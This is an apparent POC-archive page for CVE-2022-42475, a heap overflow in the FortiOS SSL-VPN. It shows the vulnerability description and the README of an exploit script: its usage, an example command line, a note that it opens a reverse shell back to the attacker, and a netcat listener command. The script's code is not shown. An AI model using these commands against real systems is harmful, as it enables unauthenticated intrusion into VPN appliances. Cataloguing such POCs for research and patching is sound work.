Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-42475 PoC — Fortinet FortiOS 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Fortinet FortiOS 缓冲区错误漏洞 (CVE-2022-42475)
Description:A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
Description
FortiOS buffer overflow vulnerability
Readme
## FortiOS SSL-VPN buffer overflow vulnerability

# cve-2022-42475
https://nvd.nist.gov/vuln/detail/CVE-2022-42475
POC code to exploit the Heap overflow in Fortinet's SSLVPN daemon

# Notes
This is a quick and dirty POC that will probably not work anywhere unless you are extremely lucky. It is version dependent and contains some hardcoded offsets which will most likely change from one system to another.


# Usage
python3 cve-2022-42475.py rhost rport lhost 'command'

``````````
python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /'
``````````

# Listener

The POC using a python command to setup a reverse shell on port 31337

``````````
nc -lvnp 31337
``````````



# Disclaimer

This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this tool.


# Mentions
Thanks to  Alain M - [Twitter : @plopz0r](https://twitter.com/plopz0r)
File Snapshot

[4.0K] /data/pocs/58ed43a35cdd5c5df252d201583c3134d24e3361 ├── [2.4K] cve-2022-42475.py └── [1.0K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →